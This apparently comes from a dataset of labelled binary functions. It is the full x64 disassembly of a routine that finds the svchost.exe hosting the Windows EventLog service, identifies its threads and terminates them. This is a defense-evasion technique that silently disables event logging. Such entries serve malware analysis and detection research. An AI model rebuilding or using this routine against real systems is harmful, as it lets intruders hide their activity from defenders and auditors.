Function at 0x14001108c
Capabilities:
Enumerate threads
Query service status
Terminate thread

Disassembly:
jmp 0x1400146e0
push rbp
push rdi
sub rsp, 0x458
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xaa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140026040]
xor rax, rbp
mov qword [rbp + 0x418], rax
lea rcx, [0x14002c11f]
call fcn.14001161d
nop
mov r8d, 0x2000000
xor edx, edx
lea rcx, [0x140022790]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov qword [rbp + 8], rax
mov r8d, 0x2000000
lea rdx, str.EventLog
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov qword [rbp + 0x28], rax
lea rax, [rbp + 0x48]
mov rdi, rax
xor eax, eax
mov ecx, 0x24
rep stosb byte [rdi], al
mov dword [rbp + 0x84], 0
lea rax, [rbp + 0x84]
mov qword [rsp + 0x20], rax
mov r9d, 0x24
lea r8, [rbp + 0x48]
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
jne 0x1400147b1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Unable_to_get_PID_of_svchost.exe_that_hosts_EventLog_service___u__n
call fcn.1400112d5
nop
mov eax, 0xffffffff
jmp 0x140014af3
mov eax, dword [rbp + 0x64]
mov dword [rbp + 0xa4], eax
mov edx, dword [rbp + 0xa4]
lea rcx, str._n___Targeting_svchost.exe_hosting_eventlog_service_with_PID:__d_n
call fcn.1400112d5
nop
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.OpenProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc8], rax
mov qword [rbp + 0xe8], 0
mov r8d, dword [rbp + 0xa4]
xor edx, edx
mov ecx, 0x10
call qword [rbp + 0xc8]
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0
jne 0x140014840
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_get_a_handle_to_svchost.exe_that_hosts_EventLog_service___u__n
call fcn.1400112d5
nop
mov eax, 0xffffffff
jmp 0x140014af3
mov dword [rbp + 0x104], 0
mov qword [rbp + 0x128], 0xffffffffffffffff
mov dword [rbp + 0x1d4], 0
mov dword [rbp + 0x1f4], 0
mov qword [rbp + 0x218], 0
xor edx, edx
mov ecx, 4
call fcn.1400112df
mov qword [rbp + 0x128], rax
cmp qword [rbp + 0x128], 0xffffffffffffffff
jne 0x14001489b
mov eax, 0xffffffff
jmp 0x140014af3
mov dword [rbp + 0x148], 0x1c
lea rdx, [rbp + 0x148]
mov rcx, qword [rbp + 0x128]
call fcn.1400113d9
test eax, eax
jne 0x1400148e9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Thread32First___and_we_died___u__n
call fcn.1400112d5
nop
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, 0xffffffff
jmp 0x140014af3
mov eax, dword [rbp + 0xa4]
cmp dword [rbp + 0x154], eax
jne 0x140014aa4
mov r8d, dword [rbp + 0x150]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rbp + 0x238], rax
cmp qword [rbp + 0x238], 0
jne 0x14001493f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_get_a_handle_to_one_of_EventLog_service_Threads___u__n
call fcn.1400112d5
nop
mov eax, 0xffffffff
jmp 0x140014af3
mov qword [rsp + 0x20], 0
mov r9d, 0x38
lea r8, [rbp + 0x188]
xor edx, edx
mov rcx, qword [rbp + 0x238]
call qword [0x1400264f0]
mov dword [rbp + 0x254], eax
lea rdx, [rbp + 0x1d4]
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
mov dword [rbp + 0x1d4], eax
cmp dword [rbp + 0x1d4], 0
jne 0x140014999
mov dword [rbp + 0x1f4], 0x1720
jmp 0x1400149a3
mov dword [rbp + 0x1f4], 0xf60
mov eax, dword [rbp + 0x1f4]
mov rcx, qword [rbp + 0x190]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rbp + 0x218]
mov rdx, rax
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
nop
lea rax, [rbp + 0x278]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
cmp qword [0x1400264e8], 0
je 0x140014a96
mov eax, dword [rbp + 0xa4]
mov dword [rbp + 0x278], eax
mov eax, dword [rbp + 0x218]
mov dword [rbp + 0x27c], eax
mov dword [rbp + 0x280], 0
mov qword [rbp + 0x288], 0
lea r8, [rbp + 0x278]
mov edx, 1
xor ecx, ecx
call qword [0x1400264e8]
nop
mov edx, dword [rbp + 0x150]
lea rcx, str.___Thread_FOUND:_TID_____d
call fcn.1400112d5
nop
xor edx, edx
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
test eax, eax
je 0x140014a83
lea rcx, str._tTerminated__n
call fcn.1400112d5
nop
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
jmp 0x140014a96
mov edx, dword [rbp + 0x150]
lea rcx, str._n____Failed_to_terminate_EventLog_thread__TID:__d____n
call fcn.1400112d5
nop
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rdx, [rbp + 0x148]
mov rcx, qword [rbp + 0x128]
call fcn.1400110a5
test eax, eax
jne 0x1400148e9
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp dword [rbp + 0x104], 0
jne 0x140014af1
lea rcx, str.___Event_Logger_is_Either_NOT_running_or_Already_Killed_Previously__n
call fcn.1400112d5
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140021b60]
call fcn.140011550
mov rax, rdi
mov rcx, qword [rbp + 0x418]
xor rcx, rbp
call fcn.1400112f3
lea rsp, [rbp + 0x428]
pop rdi
pop rbp
ret